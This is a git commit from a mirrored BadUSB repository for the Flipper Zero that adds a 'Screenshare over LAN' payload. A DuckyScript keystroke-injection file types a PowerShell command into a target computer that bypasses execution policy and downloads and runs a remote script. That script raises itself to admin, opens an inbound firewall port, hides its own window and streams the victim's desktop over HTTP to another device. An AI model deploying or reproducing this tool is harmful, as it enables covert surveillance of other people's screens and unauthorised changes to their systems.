mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2026-01-13 05:16:41 -08:00
Add files via upload
This commit is contained in:
13
Screenshare-Over-LAN/README.md
Normal file
13
Screenshare-Over-LAN/README.md
Normal file
@@ -0,0 +1,13 @@
|
||||
|
||||
<h2 align="center"> Screen Stream over LAN </h2>
|
||||
|
||||
**SYNOPSIS**
|
||||
|
||||
Start up a HTTP server and stream the desktop to a browser window on another device on the network.
|
||||
|
||||
**USAGE**
|
||||
|
||||
1. Run this script on target computer and note the URL provided
|
||||
2. on another device on the same network, enter the provided URL in a browser window
|
||||
|
||||
|
||||
15
Screenshare-Over-LAN/Screenshare-Over-LAN.txt
Normal file
15
Screenshare-Over-LAN/Screenshare-Over-LAN.txt
Normal file
@@ -0,0 +1,15 @@
|
||||
REM Title: beigeworm's LAN Tools
|
||||
REM Author: @beigeworm
|
||||
REM Description: Start up a HTTP server and run a selection of Local Area Network Tools using Powershell.
|
||||
REM NOTE - This script will need Admin privileges to run properly.
|
||||
|
||||
REM some setup for dukie script
|
||||
DEFAULT_DELAY 100
|
||||
|
||||
REM open powershell (remove "-W H" to show the window)
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 750
|
||||
STRING powershell -NoP -Ep Bypass -C $port = 8080;irm https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/Screenshare-Over-LAN/main.ps1 | iex
|
||||
ENTER
|
||||
|
||||
182
Screenshare-Over-LAN/main.ps1
Normal file
182
Screenshare-Over-LAN/main.ps1
Normal file
@@ -0,0 +1,182 @@
|
||||
<#
|
||||
================================================= Beigeworm's Screen Stream over HTTP ==========================================================
|
||||
|
||||
SYNOPSIS
|
||||
Start up a HTTP server and stream the desktop to a browser window on another device on the network.
|
||||
|
||||
USAGE
|
||||
1. Run this script on target computer and note the URL provided
|
||||
2. on another device on the same network, enter the provided URL in a browser window
|
||||
3. Hold escape key on target for 5 seconds to exit screenshare.
|
||||
|
||||
#>
|
||||
|
||||
|
||||
# Hide the powershell console (1 = yes)
|
||||
$hide = 1
|
||||
|
||||
# WRITE AS ADMIN!
|
||||
If (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) {
|
||||
Start-Process PowerShell.exe -ArgumentList ("-NoProfile -Ep Bypass -File `"{0}`"" -f $PSCommandPath) -Verb RunAs
|
||||
Exit
|
||||
}
|
||||
|
||||
[Console]::BackgroundColor = "Black"
|
||||
Clear-Host
|
||||
[Console]::SetWindowSize(88,30)
|
||||
[Console]::Title = "HTTP Screenshare"
|
||||
Add-Type -AssemblyName System.Windows.Forms
|
||||
Add-Type -AssemblyName PresentationCore,PresentationFramework
|
||||
Add-Type -AssemblyName System.Windows.Forms
|
||||
[System.Windows.Forms.Application]::EnableVisualStyles()
|
||||
|
||||
# Define port number
|
||||
if ($port.length -lt 1){
|
||||
Write-Host "Using default port.. (8080)" -ForegroundColor Green
|
||||
$port = 8080
|
||||
}
|
||||
|
||||
Write-Host "Detecting primary network interface." -ForegroundColor DarkGray
|
||||
$networkInterfaces = Get-NetAdapter | Where-Object { $_.Status -eq 'Up' -and $_.InterfaceDescription -notmatch 'Virtual' }
|
||||
$filteredInterfaces = $networkInterfaces | Where-Object { $_.Name -match 'Wi*' -or $_.Name -match 'Eth*'}
|
||||
$primaryInterface = $filteredInterfaces | Select-Object -First 1
|
||||
if ($primaryInterface) {
|
||||
if ($primaryInterface.Name -match 'Wi*') {
|
||||
Write-Output "Wi-Fi is the primary internet connection."
|
||||
$localIP = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias "Wi*" | Select-Object -ExpandProperty IPAddress
|
||||
} elseif ($primaryInterface.Name -match 'Eth*') {
|
||||
Write-Output "Ethernet is the primary internet connection."
|
||||
$localIP = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias "Eth*" | Select-Object -ExpandProperty IPAddress
|
||||
} else {
|
||||
Write-Output "Unknown primary internet connection."
|
||||
}
|
||||
} else {Write-Output "No primary internet connection found."}
|
||||
|
||||
New-NetFirewallRule -DisplayName "AllowWebServer" -Direction Inbound -Protocol TCP -LocalPort $port -Action Allow | Out-Null
|
||||
$webServer = New-Object System.Net.HttpListener
|
||||
$webServer.Prefixes.Add("http://"+$localIP+":$port/")
|
||||
$webServer.Prefixes.Add("http://localhost:$port/")
|
||||
$webServer.Start()
|
||||
Write-Host ("Network Devices Can Reach the server at : http://"+$localIP+":$port")
|
||||
Write-Host "Press escape key for 5 seconds to exit" -f Cyan
|
||||
Write-Host "Hiding this window.." -f Yellow
|
||||
sleep 4
|
||||
|
||||
# Code to hide the console on Windows 10 and 11
|
||||
if ($hide -eq 1){
|
||||
$Async = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);'
|
||||
$Type = Add-Type -MemberDefinition $Async -name Win32ShowWindowAsync -namespace Win32Functions -PassThru
|
||||
$hwnd = (Get-Process -PID $pid).MainWindowHandle
|
||||
|
||||
if ($hwnd -ne [System.IntPtr]::Zero) {
|
||||
$Type::ShowWindowAsync($hwnd, 0)
|
||||
}
|
||||
else {
|
||||
$Host.UI.RawUI.WindowTitle = 'hideme'
|
||||
$Proc = (Get-Process | Where-Object { $_.MainWindowTitle -eq 'hideme' })
|
||||
$hwnd = $Proc.MainWindowHandle
|
||||
$Type::ShowWindowAsync($hwnd, 0)
|
||||
}
|
||||
}
|
||||
|
||||
# Escape to exit key detection
|
||||
Add-Type @"
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
public class Keyboard
|
||||
{
|
||||
[DllImport("user32.dll")]
|
||||
public static extern short GetAsyncKeyState(int vKey);
|
||||
}
|
||||
"@
|
||||
$VK_ESCAPE = 0x1B
|
||||
$startTime = $null
|
||||
|
||||
while ($true) {
|
||||
try {
|
||||
$context = $webServer.GetContext()
|
||||
$response = $context.Response
|
||||
if ($context.Request.RawUrl -eq "/stream") {
|
||||
$response.ContentType = "multipart/x-mixed-replace; boundary=frame"
|
||||
$response.Headers.Add("Cache-Control", "no-cache")
|
||||
$boundary = "--frame"
|
||||
|
||||
while ($context.Response.OutputStream.CanWrite) {
|
||||
$screen = [System.Windows.Forms.Screen]::PrimaryScreen
|
||||
$bitmap = New-Object System.Drawing.Bitmap $screen.Bounds.Width, $screen.Bounds.Height
|
||||
$graphics = [System.Drawing.Graphics]::FromImage($bitmap)
|
||||
$graphics.CopyFromScreen($screen.Bounds.X, $screen.Bounds.Y, 0, 0, $screen.Bounds.Size)
|
||||
|
||||
$stream = New-Object System.IO.MemoryStream
|
||||
$bitmap.Save($stream, [System.Drawing.Imaging.ImageFormat]::Png)
|
||||
$bitmap.Dispose()
|
||||
$graphics.Dispose()
|
||||
|
||||
$bytes = $stream.ToArray()
|
||||
$stream.Dispose()
|
||||
|
||||
$writer = [System.Text.Encoding]::ASCII.GetBytes("$boundary`r`nContent-Type: image/png`r`nContent-Length: $($bytes.Length)`r`n`r`n")
|
||||
$response.OutputStream.Write($writer, 0, $writer.Length)
|
||||
$response.OutputStream.Write($bytes, 0, $bytes.Length)
|
||||
$boundaryWriter = [System.Text.Encoding]::ASCII.GetBytes("`r`n")
|
||||
$response.OutputStream.Write($boundaryWriter, 0, $boundaryWriter.Length)
|
||||
|
||||
Start-Sleep -Milliseconds 33
|
||||
|
||||
# Check for the escape key press to exit
|
||||
$isEscapePressed = [Keyboard]::GetAsyncKeyState($VK_ESCAPE) -lt 0
|
||||
if ($isEscapePressed) {
|
||||
if (-not $startTime) {
|
||||
$startTime = Get-Date
|
||||
}
|
||||
$elapsedTime = (Get-Date) - $startTime
|
||||
if ($elapsedTime.TotalSeconds -ge 5) {
|
||||
(New-Object -ComObject Wscript.Shell).Popup("Screenshare Closed.",3,"Information",0x0)
|
||||
sleep 1
|
||||
exit
|
||||
}
|
||||
} else {
|
||||
$startTime = $null
|
||||
}
|
||||
|
||||
}
|
||||
} else {
|
||||
$response.ContentType = "text/html"
|
||||
$html = @"
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Streaming Video</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<style>
|
||||
body {
|
||||
background-color: black;
|
||||
margin: 0;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
height: 100vh;
|
||||
}
|
||||
img {
|
||||
width: 90vw;
|
||||
height: auto;
|
||||
max-width: 100%;
|
||||
max-height: 100%;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<img src='/stream' alt='Streaming Video' />
|
||||
</body>
|
||||
</html>
|
||||
"@
|
||||
$buffer = [System.Text.Encoding]::UTF8.GetBytes($html)
|
||||
$response.OutputStream.Write($buffer, 0, $buffer.Length)
|
||||
}
|
||||
$response.Close()
|
||||
} catch {
|
||||
Write-Host "Error encountered: $_"
|
||||
}
|
||||
}
|
||||
$webServer.Stop()
|
||||
Reference in New Issue
Block a user